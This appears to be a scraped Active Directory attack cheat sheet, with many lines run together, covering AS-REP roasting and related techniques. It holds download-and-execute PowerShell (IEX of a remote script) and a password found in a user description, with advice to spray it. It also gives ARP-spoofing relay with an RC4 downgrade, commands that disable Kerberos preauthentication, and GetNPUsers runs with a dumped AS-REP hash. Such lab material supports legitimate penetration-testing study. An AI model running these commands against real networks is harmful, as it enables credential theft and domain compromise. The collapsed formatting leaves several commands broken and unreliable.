# Run ScriptSentry and display results on the consoleIEX(Invoke-WebRequest'https://raw.githubusercontent.com/techspence/ScriptSentry/main/Invoke-ScriptSentry.ps1')Invoke-ScriptSentry# Run ScriptSentry and save output to a text fileIEX(Invoke-WebRequest'https://raw.githubusercontent.com/techspence/ScriptSentry/main/Invoke-ScriptSentry.ps1')Invoke-ScriptSentry|Out-File c:\temp\ScriptSentry.txt# Run ScriptSentry and save results to separate csv files in the current directoryIEX(Invoke-WebRequest'https://raw.githubusercontent.com/techspence/ScriptSentry/main/Invoke-ScriptSentry.ps1')Invoke-ScriptSentry-SaveOutput $true
PS C:\htb> Get-DomainUser * | Select-Object samaccountname,description |Where-Object {$_.Description -ne $null}
samaccountname description
-------------- -----------
administrator Built-in account for administering the computer/domain
guest Built-in account for guest access to the computer/domain
krbtgt Key Distribution Center Service Account
ldap.agent *** DO NOT CHANGE *** 3/12/2012: Sunsh1ne4All!
Often, GPP passwords are defined for legacy accounts, and you may therefore retrieve and decrypt the password for a locked or deleted account. However, it is worth attempting to password spray internally with this password (especially if it is unique). Password re-use is widespread, and the GPP password combined with password spraying could result in further access.
# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supportedASRepCatcher relay -dc $DC_IP# Disabling ARP spoofing, the mitm position must be obtained differentlyASRepCatcher relay -dc $DC_IP --disable-spoofing# Passive listening of AS-REP packets, no packet alterationASRepCatcher listen
# Check for GenericWrite or GenericAll rightsFind-InterstingDomainAcl-ResolveGUIDs |?{$_.IdentityReferenceName-match"RDPUsers"}# Disable kerberos preauth for user1Set-DomainObject-Identity user1 -XOR@{useraccountcontrol=4194304} -Verbose# Check if user is asreproastableGet-DomainUser-PreauthNotRequired -Verbose
ASREPRoast
# One userGet-ASREPHash-UserName victim -Verbose# Enumerate all asreproastable usersInvoke-ASREPRoast-Verbose
$ GetNPUsers.py htb.local/ -dc-ip 192.168.3.203 -no-pass -usersfile /usr/share/seclists/Usernames/Names/names.txt -request -format hashcat -outputfile asrep.hash -debug |tee getnpusers.log
$ cat getnpusers.log |grep -v 'Client not found in Kerberos database'
$ GetNPUsers.py INLANEFREIGHT.LOCAL/ -dc-ip 172.16.5.5 -no-pass -usersfile valid_ad_users
Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation
[-] User sbrown@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jjones@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User tjohnson@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jwilson@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User bdavis@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User njohnson@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User asanchez@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User dlewis@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ccruz@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$mmorgan@inlanefreight.local@INLANEFREIGHT.LOCAL:47e0d517f2a5815da8345dd9247a0e3d$b62d45bc3c0f4c306402a205ebdbbc623d77ad016e657337630c70f651451400329545fb634c9d329ed024ef145bdc2afd4af498b2f0092766effe6ae12b3c3beac28e6ded0b542e85d3fe52467945d98a722cb52e2b37325a53829ecf127d10ee98f8a583d7912e6ae3c702b946b65153bac16c97b7f8f2d4c2811b7feba92d8bd99cdeacc8114289573ef225f7c2913647db68aafc43a1c98aa032c123b2c9db06d49229c9de94b4b476733a5f3dc5cc1bd7a9a34c18948edf8c9c124c52a36b71d2b1ed40e081abbfee564da3a0ebc734781fdae75d3882f3d1d68afdb2ccb135028d70d1aa3c0883165b3321e7a1c5c8d7c215f12da8bba9
[-] User rramirez@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jwallace@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jsantiago@inlanefreight.local doesn't have UF_DONT_REQUIRE_PREAUTH set
<SNIP>
SharpADWS
C:\Users\Marcus>SharpADWS.exe DontReqPreAuth -action list
[*] Found users that do not require kerberos preauthentication:
[*] CN=Bob,CN=Users,DC=corp,DC=local
[*] CN=Alice,CN=Users,DC=corp,DC=local
[*] CN=John,CN=Users,DC=corp,DC=local
